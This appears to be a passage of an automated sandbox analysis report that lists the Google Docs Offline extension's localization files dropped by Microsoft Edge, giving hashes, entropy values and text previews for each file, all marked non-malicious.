Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

